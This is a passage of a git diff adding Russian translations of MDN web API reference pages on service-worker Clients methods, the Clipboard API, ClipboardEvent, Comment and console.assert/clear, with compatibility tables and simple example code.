+<p>Метод <strong><code>claim()</code></strong> интерфейса {{domxref("Clients")}} позволяет активному сервис-воркеру установить себя {{domxref("ServiceWorkerContainer.controller", "контролирующим воркером")}} для всех клиентских страниц в своей {{domxref("ServiceWorkerRegistration.scope", "области видимости")}}. Вызывает событие "<code>controllerchange</code>" на {{domxref("ServiceWorkerContainer","navigator.serviceWorker")}} всех клиентских страниц, контролируемых сервис-воркером.</p>
+
+<p>После регистрации сервис-воркера страницы не начнут использовать его, пока не загрузятся вновь. Метод <code>claim()</code> позволяет установить контроль над страницами немедленно. Имейте в виду, что в этом случае ваш сервис-воркер будет контролировать все загружаемые по сети страницы этого origin, в т. ч. из других сервис-воркеров.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="brush: js">await clients.claim();
+</pre>
+
+<h3 id="Параметры">Параметры</h3>
+
+<p>Нет.</p>
+
+<h3 id="Результат">Результат</h3>
+
+<p><code><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Promise" title="The Promise object is used for deferred and asynchronous computations. A Promise is in one of these states:">Promise</a></code> с <code>undefined</code>.</p>
+
+<h2 id="Пример">Пример</h2>
+
+<p>В примере ниже внутри обработчика события "<code>activate</code>" сервис-воркера используется метод <code>claim()</code>, что позволяет клиентской странице, загруженной в той же области видимости, обходиться без перезагрузки для использования сервис-воркером.</p>
+
+<pre class="brush: js">self.addEventListener('activate', event =&gt; {
+  event.waitUntil(clients.claim());
+});</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Service Workers', '#clients', 'Clients')}}</td>
+   <td>{{Spec2('Service Workers')}}</td>
+   <td>Initial definition. It is still under development (see <a href="https://github.com/slightlyoff/ServiceWorker/issues/414">issue 414</a> and <a href="https://github.com/slightlyoff/ServiceWorker/issues/423">issue 423</a>).</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Поддержка_браузерами">Поддержка браузерами</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatChrome(42.0)}}</td>
+   <td>{{ CompatGeckoDesktop("44.0") }}<sup>[1]</sup></td>
+   <td>{{CompatNo}}</td>
+   <td>24</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Firefox OS</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+   <th>Chrome for Android</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{ CompatGeckoMobile("44.0") }}</td>
+   <td>{{ CompatVersionUnknown }}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Service workers (and <a href="/en-US/docs/Web/API/Push_API">Push</a>) have been disabled in the <a href="https://www.mozilla.org/en-US/firefox/organizations/">Firefox 45 &amp; 52 Extended Support Releases</a> (ESR.)</p>
+
+<h2 id="Смотри_также">Смотри также</h2>
+
+<ul>
+ <li><a href="/ru/docs/Web/API/Service_Worker_API/Using_Service_Workers">Использование Service Worker</a></li>
+ <li><a href="https://developers.google.com/web/fundamentals/instant-and-offline/service-worker/lifecycle">The service worker lifecycle</a></li>
+ <li><a href="https://jakearchibald.github.io/isserviceworkerready/">Is ServiceWorker ready?</a></li>
+ <li>{{jsxref("Promise", "Promises")}}</li>
+ <li>{{domxref("ServiceWorkerGlobalScope.skipWaiting()", "self.skipWaiting()")}} — переключайте состояние ожидания сервис-воркера</li>
+</ul>
diff --git a/files/ru/web/api/clients/index.html b/files/ru/web/api/clients/index.html
new file mode 100644
index 0000000000..5372df8139
--- /dev/null
+++ b/files/ru/web/api/clients/index.html
@@ -0,0 +1,128 @@
+---
+title: Clients
+slug: Web/API/Clients
+tags:
+  - API
+  - Clients
+  - Experimental
+  - Expérimental(2)
+  - Interface
+  - NeedsTranslation
+  - Reference
+  - Référence(2)
+  - Service Workers
+  - ServiceWorker
+  - TopicStub
+  - Workers
+translation_of: Web/API/Clients
+---
+<p>{{SeeCompatTable}}{{APIRef("Service Workers API")}}</p>
+
+<p>Интерфейс <code>Clients</code> <a href="/en-US/docs/Web/API/ServiceWorker_API">Service Workers API</a> представляет собой контейнер со списком объектов {{domxref("Client")}}.</p>
+
+<h2 id="Методы">Методы</h2>
+
+<dl>
+ <dt>{{domxref("Clients.get()")}}</dt>
+ <dd>Получает клиента сервис воркера, соответствующего данному <code>id,</code> и возвращает его в {{jsxref("Promise")}}.</dd>
+ <dt>{{domxref("Clients.matchAll()")}}</dt>
+ <dd>Получает список клиентов сервис воркера и возвращает их в {{jsxref("Promise")}}. Включает параметр <code>options</code> для возврата всех клиентов сервис воркера, чьи источники являются теми же источниками, что и у связанного источника сервис воркера. Если <code>options</code> не включены, метод возвращает только тех клиентов сервис воркера, которых тот контролирует. </dd>
+ <dt>{{domxref("Clients.openWindow()")}}</dt>
+ <dd>Открывает {{domxref("Client")}} сервис воркера в новом окне браузера.</dd>
+ <dt>{{domxref("Clients.claim()")}}</dt>
+ <dd>Позволяет активному Сервис Воркеру установить себя, как активного воркера для клиентской страницы, когда воркер и страница находятся в одной области. </dd>
+</dl>
+
+<h2 id="Примеры">Примеры</h2>
+
+<pre class="brush: js">clients.matchAll(options).then(function(clients) {
+  for (i = 0 ; i &lt; clients.length ; i++) {
+    if (clients[i] === 'index.html') {
+      clients.openWindow(clients[i]);
+      // или сделать что-то другое, с учетом подошедшего клиента
+    }
+  }
+});</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Service Workers', '#clients', 'Clients')}}</td>
+   <td>{{Spec2('Service Workers')}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatChrome(40.0)}}</td>
+   <td>{{ CompatGeckoDesktop("44.0") }}<sup>[1]</sup></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Firefox OS</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+   <th>Chrome for Android</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{ CompatGeckoMobile("44.0") }}</td>
+   <td>{{ CompatVersionUnknown }}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Service workers (и <a href="/en-US/docs/Web/API/Push_API">Push</a>) были отключены в <a href="https://www.mozilla.org/en-US/firefox/organizations/">Firefox 45 &amp; 52 Extended Support Releases</a> (ESR.)</p>
+
+<h2 id="Смотри_так_же">Смотри так же</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/ServiceWorker_API/Using_Service_Workers">Using Service Workers</a></li>
+ <li><a href="https://github.com/mdn/sw-test">Service workers basic code example</a></li>
+ <li><a href="https://jakearchibald.github.io/isserviceworkerready/">Is ServiceWorker ready?</a></li>
+ <li>{{jsxref("Promise")}}</li>
+ <li><a href="/en-US/docs/Web/Guide/Performance/Using_web_workers">Using web workers</a></li>
+</ul>
diff --git a/files/ru/web/api/clients/openwindow/index.html b/files/ru/web/api/clients/openwindow/index.html
new file mode 100644
index 0000000000..64d67ce7ca
--- /dev/null
+++ b/files/ru/web/api/clients/openwindow/index.html
@@ -0,0 +1,91 @@
+---
+title: Clients.openWindow()
+slug: Web/API/Clients/openWindow
+tags:
+  - API
+  - Clients
+  - Experimental
+  - Method
+  - Reference
+  - Service Workers
+  - ServiceWorker
+  - openWindow
+translation_of: Web/API/Clients/openWindow
+---
+<div>{{APIRef("Service Workers API")}}</div>
+
+<p>Метод <strong><code>openWindow()</code></strong> интерфейса {{domxref("Clients")}} создает новый контекст просмотра верхнего уровня и загружает заданный URL. Если вызывающий скрипт не имеет разрешения на отображение всплывающих окон, <code>openWindow()</code> выдаст <code>InvalidAccessError</code>.</p>
+
+<p>В Firefox этому методу разрешено отображать всплывающие окна только при вызове события клике по уведомлению.</p>
+
+<p>В Chrome для Android этот метод может открыть URL-адрес в существующем контексте просмотра, предоставляемым автономным веб-приложением (<a href="/en-US/docs/Web/Progressive_web_apps">standalone web app</a>), ранее добавленным на главный экран пользователя. С недавнего времени это также работает в Chrome для Windows.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox notranslate">self.clients.openWindow(<em>url</em>).then(function(<em>windowClient</em>) {
+  // Do something with your WindowClient
+});</pre>
+
+<h3 id="Параметры">Параметры</h3>
+
+<dl>
+ <dt><code>url</code></dt>
+ <dd>{{domxref("USVString")}} - URL-адрес клиента, который вы хотите открыть. Обычно это значение должно быть URL из того же источника, что и вызывающий скрипт.</dd>
+</dl>
+
+<h3 id="Возвращаемое_значение">Возвращаемое значение</h3>
+
+<dl>
+ <dd>{{jsxref("Promise")}}, который преобразуется в объект {{domxref("WindowClient")}}, если URL-адрес исходит из того же источника, что и сервис-воркер, иначе {{Glossary("null", "null value")}} .</dd>
+</dl>
+
+<h2 id="Примеры">Примеры</h2>
+
+<pre class="brush: js notranslate">// Отправить уведомление в OS, если возможно
+if (self.Notification.permission === 'granted') {
+  const notificationObject = {
+    body: 'Click here to view your messages.',
+    data: { url: self.location.origin + '/some/path' },
+    // data: { url: 'http://example.com' },
+  };
+  self.registration.showNotification('You\'ve got messages!', notificationObject);
+}
+
+// Слушатель события клика по уведомлению
+self.addEventListener('notificationclick', e =&gt; {
+  // Закрываем всплывающее окно с уведомлением
+  e.notification.close();
+  // Получите все клиенты Windows
+  e.waitUntil(clients.matchAll({ type: 'window' }).then(clientsArr =&gt; {
+    // Если вкладка, соответствующая целевому URL-адресу, уже существует, сфокусируйтесь на ней;
+    const hadWindowToFocus = clientsArr.some(windowClient =&gt; windowClient.url === e.notification.data.url ? (windowClient.focus(), true) : false);
+    // В противном случае откройте новую вкладку для соответствующего URL-адреса и сфокусируйте ее.
+    if (!hadWindowToFocus) clients.openWindow(e.notification.data.url).then(windowClient =&gt; windowClient ? windowClient.focus() : null);
+  }));
+});
+</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Service Workers', '#clients-openwindow', 'Clients: openWindow')}}</td>
+   <td>{{Spec2('Service Workers')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузером">Совместимость с браузером</h2>
+
+<div>
+
+
+<p>{{Compat("api.Clients.openWindow")}}</p>
+</div>
diff --git a/files/ru/web/api/clipboard_api/index.html b/files/ru/web/api/clipboard_api/index.html
new file mode 100644
index 0000000000..3f31bfe692
--- /dev/null
+++ b/files/ru/web/api/clipboard_api/index.html
@@ -0,0 +1,95 @@
+---
+title: Clipboard API
+slug: Web/API/Clipboard_API
+tags:
+  - API
+  - Async Clipboard API
+  - Clipboard
+  - Clipboard API
+  - Clipboard Event API
+  - ClipboardEvent
+  - ClipboardItem
+  - Cut
+  - Landing
+  - Reference
+  - copy
+  - paste
+translation_of: Web/API/Clipboard_API
+---
+<div>{{DefaultAPISidebar("Clipboard API")}}</div>
+
+<div></div>
+
+<div><strong>Clipboard API </strong>предоставляет возможность реагировать на команды буфера обмена (вырезать, копировать и вставить), а также выполнять асинхронные чтение/запись в системный буфер обмена. Доступ к содержимому буфера обмена осуществляется через <a href="/en-US/docs/Web/API/Permissions_API">Permissions API</a>: <code>clipboard-write</code> (разрешение на запись) в буфер обмена автоматически предоставляется страницам, когда они находятся на активной вкладке. Для <code>clipboard-read</code> (чтение из буфера обмена) должно быть запрошено разрешение пользователя. Можно сделать запрос на разрешение, попытавшись прочитать данные из буфера обмена.</div>
+
+<div></div>
+
+<p>API предназначен для доступа к буферу обмена, используя {{domxref("document.execCommand()")}}.</p>
+
+<h2 id="Доступ_к_буферу_обмена">Доступ к буферу обмена</h2>
+
+<p>Вместо создания объекта буфера посредством инициализации экземпляра, вы получаете доступ к системному буферу обмена через глобальный {{domxref("Navigator.clipboard")}}:</p>
+
+<pre class="brush: js notranslate">navigator.clipboard.readText().then(
+  clipText =&gt; document.querySelector(".editor").innerText += clipText);</pre>
+
+<p>Этот фрагмент извлекает текст из буфера обмена и добавляет его к первому элементу, найденному с помощью <code>editor</code> (редактора) классов. Этот код безопасен, поскольку {{domxref("Clipboard.readText", "readText()")}} (и {{domxref("Clipboard.read", "read()")}}, если на то пошло) возвращает пустую строку, если в буфере обмена нет текста.</p>
+
+<h2 id="Интерфейсы">Интерфейсы</h2>
+
+<dl>
+ <dt>{{domxref("Clipboard")}} {{securecontext_inline}}</dt>
+ <dd>Предоставляет интерфейс для чтения/записи текста и данных в системный буфер обмена. В спецификации называется 'Async Clipboard API (API асинхронного буфера обмена)'.</dd>
+ <dt>{{domxref("ClipboardEvent")}} {{securecontext_inline}}</dt>
+ <dd>Представляет события, содержащие информацию, относящуюся к модификации буфера обмена, а именно {{domxref("Element/cut_event", "cut")}}, {{domxref("Element/copy_event", "copy")}} и {{domxref("Element/paste_event", "paste")}} события. В спецификации называется 'Clipboard Event API (API событий буфера обмена)'.</dd>
+ <dt>{{domxref("ClipboardItem")}} {{securecontext_inline}}</dt>
+ <dd>Представляет единый формат элемента, используемый при чтении или записи данных.</dd>
+</dl>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Clipboard API')}}</td>
+   <td>{{Spec2('Clipboard API')}}</td>
+   <td>Первоначальное определение.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузером">Совместимость с браузером</h2>
+
+<h3 id="Clipboard">Clipboard</h3>
+
+<div>
+
+
+<p>{{Compat("api.Clipboard")}}</p>
+
+<h3 id="ClipboardEvent">ClipboardEvent</h3>
+
+<div class="hidden">The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</div>
+
+<p>{{Compat("api.ClipboardEvent")}}</p>
+
+<h3 id="ClipboardItem">ClipboardItem</h3>
+
+
+
+<p>{{Compat("api.ClipboardItem")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><a href="https://async-clipboard-api.glitch.me/">Async Clipboard API demo on Glitch</a> (Демонстрация API асинхронного буфера на Glitch)</li>
+ <li><a href="https://web.dev/image-support-for-async-clipboard/">Image support for Async Clipboard article</a> (Поддержка изображений в асинхронном буфере обмена)</li>
+ <li><a href="/en-US/docs/Web/API/Permissions_API">Permissions API</a></li>
+ <li><a href="/en-US/docs/Web/API/Permissions_API/Using_the_Permissions_API">Using the Permissions API</a></li>
+</ul>
+</div>
diff --git a/files/ru/web/api/clipboardevent/index.html b/files/ru/web/api/clipboardevent/index.html
new file mode 100644
index 0000000000..cf2d83a50f
--- /dev/null
+++ b/files/ru/web/api/clipboardevent/index.html
@@ -0,0 +1,132 @@
+---
+title: ClipboardEvent
+slug: Web/API/ClipboardEvent
+tags:
+  - API
+  - Clipboard API
+  - Event
+  - Experimental
+  - Interface
+  - Буфер обмена
+translation_of: Web/API/ClipboardEvent
+---
+<p>{{APIRef("Clipboard API")}} {{SeeCompatTable}}</p>
+
+<p>Интерфейс <strong><code>ClipboardEvent</code></strong> предствляет события, предоставляющие информацию,  связанную с изменением буфера обмена, этими события являются {{event("cut")}}, {{event("copy")}} и {{event("paste")}}.</p>
+
+<h2 id="Свойства">Свойства</h2>
+
+<p><em>Интерфейс наследует свойства от родителя {{domxref("Event")}}</em>.</p>
+
+<dl>
+ <dt>{{domxref("ClipboardEvent.clipboardData")}} {{readonlyInline}}</dt>
+ <dd>Является {{domxref("DataTransfer")}} объектом, который содержит данные, полученные от совершения пользователем операции {{event("cut")}}, {{event("copy")}} или {{event("paste")}}, а также их MIME тип.</dd>
+</dl>
+
+<h2 id="Конструктор">Конструктор</h2>
+
+<dl>
+ <dt>{{domxref("ClipboardEvent.ClipboardEvent", "ClipboardEvent()")}}</dt>
+ <dd>Создает <code>ClipboardEvent</code> событие с переданными параметрами.</dd>
+</dl>
+
+<h2 id="Методы">Методы</h2>
+
+<p><em>Нет специальных методов; Этот интерфейс наследует методы от своего родителя {{domxref("Event")}}</em>.</p>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{ SpecName('Clipboard API', '#clipboard-event-interfaces', 'ClipboardEvent') }}</td>
+   <td>{{ Spec2('Clipboard API') }}</td>
+   <td>Начальное определение.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_браузеров">Совместимость браузеров</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>4.0</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>clipboardData</code></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop("22.0")}}</td>
+   <td>5.0</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Android</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>4.0</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>clipboardData</code></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("22.0")}}</td>
+   <td>5.0</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>События, связанные с копированием в буфер: {{event("copy")}}, {{event("cut")}}, {{event("paste")}}</li>
+</ul>
diff --git a/files/ru/web/api/comment/index.html b/files/ru/web/api/comment/index.html
new file mode 100644
index 0000000000..1f5be83365
--- /dev/null
+++ b/files/ru/web/api/comment/index.html
@@ -0,0 +1,69 @@
+---
+title: Comment
+slug: Web/API/Comment
+tags:
+  - Комментарии
+translation_of: Web/API/Comment
+---
+<p>Интерфейс<span class="seoSummary"> <code><strong>Comment</strong></code> представляет собой текстовые записи в разметке; хотя, в основном, они не отображаются, такие комментарии доступны для чтения в исходном коде.</span> Комментарии  представляются в  HTML и XML как контент, заключенный между  '<code>&lt;!--</code>' и '<code>--&gt;</code>'. В XML, последовательность символов '<code>--</code>' может не использоваться в комментариях.</p>
+
+<p>{{InheritanceDiagram}}</p>
+
+<h2 id="Свойства">Свойства</h2>
+
+<p><em>У этого интерфейса нет конкретных свойств, но он наследует свойства родителя {{domxref("CharacterData")}}, и частично {{domxref("Node")}}.</em></p>
+
+<h2 id="Конструктор">Конструктор</h2>
+
+<dl>
+ <dt>{{ domxref("Comment.Comment()", "Comment()") }} {{experimental_inline}}</dt>
+ <dd>Возвращает объект <code>Comment</code> с параметрами в качестве его текстового содержимого.</dd>
+</dl>
+
+<h2 id="Методы">Методы</h2>
+
+<p><em>У этого интерфейса нет конкретных методов, но он наследует методы родителя {{domxref("CharacterData")}}, и частично {{domxref("Node")}}.</em></p>
+
+<h2 id="Specification" name="Specification">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM WHATWG', '#comment', 'Comment')}}</td>
+   <td>{{Spec2('DOM WHATWG')}}</td>
+   <td>Добавлен конструктор</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM3 Core', 'core.html#ID-1728279322', 'Comment')}}</td>
+   <td>{{Spec2('DOM3 Core')}}</td>
+   <td>Нет изменений по сравнению с {{SpecName('DOM2 Core')}}</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM2 Core', 'core.html#ID-1728279322', 'Comment')}}</td>
+   <td>{{Spec2('DOM2 Core')}}</td>
+   <td>Нет изменений по сравнению с {{SpecName('DOM1')}}</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM1', 'level-one-core.html#ID-1728279322', 'Comment')}}</td>
+   <td>{{Spec2('DOM1')}}</td>
+   <td>Первое определение</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Поддержка_браузерами">Поддержка браузерами</h2>
+
+
+
+<p>{{Compat("api.Comment")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/Document_Object_Model" title="/en-US/docs/DOM/DOM_Reference">The DOM interfaces index</a></li>
+</ul>
diff --git a/files/ru/web/api/console/assert/index.html b/files/ru/web/api/console/assert/index.html
new file mode 100644
index 0000000000..1ca29fa5f7
--- /dev/null
+++ b/files/ru/web/api/console/assert/index.html
@@ -0,0 +1,112 @@
+---
+title: console.assert()
+slug: Web/API/Console/assert
+tags:
+  - API
+  - Debugging
+  - console
+  - web console
+  - Отладка
+translation_of: Web/API/console/assert
+---
+<div>{{APIRef("Console API")}}{{Non-standard_Header}}</div>
+
+<p>Метод <code><strong>console.assert()</strong></code> записывает сообщение об ошибке в консоль в случае, если утверждение ложно. Если утверждение истинно - ничего не происходит.</p>
+
+<p>{{AvailableInWorkers}}</p>
+
+<div class="note">
+<p><strong>Важно:</strong> Реализация м<em>етода <code>console.assert()</code> в браузере и Node.js отличается.</em></p>
+
+<p>В браузере, вызов console.assert() с ложным утверждением вызовет печать ошибки в консоль без прерывания текущего выполнения скрипта, а в Node.js в аналогичном случае будет выброшена ошибка - AssertionError.</p>
+</div>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox">console.assert(<em>assertion</em>, <em>obj1</em> [, <em>obj2</em>, ..., <em>objN</em>]);
+console.assert(<em>assertion</em>, <em>msg</em> [, <em>subst1</em>, ..., <em>substN</em>]); // си-подобное форматирование строк
+</pre>
+
+<h3 id="Параметры">Параметры</h3>
+
+<dl>
+ <dt><code>assertion</code></dt>
+ <dd>Любое логическое утверждение. Если утверждение ложно - сообщение об ошибке записывается в консоль.</dd>
+ <dt><code>obj1</code> ... <code>objN</code></dt>
+ <dd>Список JavaScript объектов для вывода. Строковое представление этих объектов добавляются в порядке, указанном в списке, и выводятся.</dd>
+ <dt><code>msg</code></dt>
+ <dd>Строка JavaScript, содержащая ноль или более строк подстановки.</dd>
+ <dt><code>subst1</code> ... <code>substN</code></dt>
+ <dd>Объекты JavaScript, которыми нужно заменить строки подстановки в рамках параметра <strong>msg</strong>. Этот параметр даёт дополнительный контроль над форматированием вывода.</dd>
+</dl>
+
+<h2 id="Примеры">Примеры</h2>
+
+<p>В следующем примере кода демонстрируется использование объекта JavaScript после утверждения:</p>
+
+<pre class="brush: js">const errorMsg = '# не чётное число';
+for (let number = 2; number &lt;= 5; number += 1) {
+    console.log('# равно ' + number);
+    console.assert(number % 2 === 0, {number: number, errorMsg: errorMsg});
+    // или, при использовании {{jsxref("Operators/Object_initializer", "сокращения имён свойств в ECMAScript 2015", "Новая_нотация_в_ECMAScript_2015")}}:
+    // console.assert(number % 2 === 0, {number, errorMsg});
+}
+// output:
+// # равно 2
+// # равно 3
+// Assertion failed: {number: 3, errorMsg: "# не чётное число"}
+// # равно 4
+// # равно 5
+// Assertion failed: {number: 5, errorMsg: "# не чётное число"}
+</pre>
+
+<p>Обратите внимание, что хотя строка, содержащая строку подстановки, работает как параметр для <code>console.log</code> в Node и многих, если не большинстве, браузерах...</p>
+
+<pre>console.log('слово %s', 'foo');
+// output: слово foo
+</pre>
+
+<p>...использование такой строки в настоящее время не работает в качестве параметра для <code>console.assert</code> во всех браузерах:</p>
+
+<pre class="brush: js">console.assert(false, 'слово %s', 'foo');
+// корректный вывод в Node.js и некоторых браузерах
+//     (например Firefox v60.0.2):
+// Assertion failed: слово foo
+// некорректный вывод в некоторых браузерах
+//     (например Chrome v67.0.3396.87):
+// Assertion failed: слово %s foo</pre>
+
+<p>Смотрите также <a href="/ru/docs/Web/API/console#Outputting_text_to_the_console">Вывод текста в консоль</a> в документации {{domxref("console")}} для более детальной информации.</p>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификации</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("Console API", "#consoleassertexpression-object", "console.assert()")}}</td>
+   <td>{{Spec2("Console API")}}</td>
+   <td>Первоначальное определение</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Поддержка_браузерами">Поддержка браузерами</h2>
+
+
+
+<p>{{Compat("api.Console.assert")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><a href="http://www.opera.com/dragonfly/documentation/console/">Opera Dragonfly documentation: Console</a></li>
+ <li><a href="http://msdn.microsoft.com/library/gg589530">MSDN: Using the F12 Tools Console to View Errors and Status</a></li>
+ <li><a href="https://developer.chrome.com/devtools/docs/console#assertions">Chrome Developer Tools: Using the Console</a></li>
+</ul>
diff --git a/files/ru/web/api/console/clear/index.html b/files/ru/web/api/console/clear/index.html
new file mode 100644
index 0000000000..b86317d69a
--- /dev/null
+++ b/files/ru/web/api/console/clear/index.html
@@ -0,0 +1,53 @@
+---
+title: clear()
+slug: Web/API/Console/clear
+tags:
+  - API
+  - консоль
+translation_of: Web/API/Console/clear
+---
+<div>{{APIRef("Console API")}}{{Non-standard_header}}</div>
+
+<p>Очищает консоль.</p>
+
+<p>Содержимое консоли заменяется на информационное сообщение, которое может быть следующим: "Консоль очищена".</p>
+
+<p>Заметка для Google Chrome, от функции <code>console.clear()</code> не будет никакого эффекта, если у пользователя установлена надстройка "Preserve log upon navigation" в <a href="https://developer.chrome.com/devtools/docs/settings#preserve-log%20upon%20navigation">настройках</a>.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox notranslate">console.clear();
+</pre>
+
+<h2 id="Спецификация">Спецификация</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Характеристика</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("Console API", "#consoleclear", "console.clear()")}}</td>
+   <td>{{Spec2("Console API")}}</td>
+   <td>Первоначальное определение</td>
+  </tr>
+ </tbody>
+</table>
+
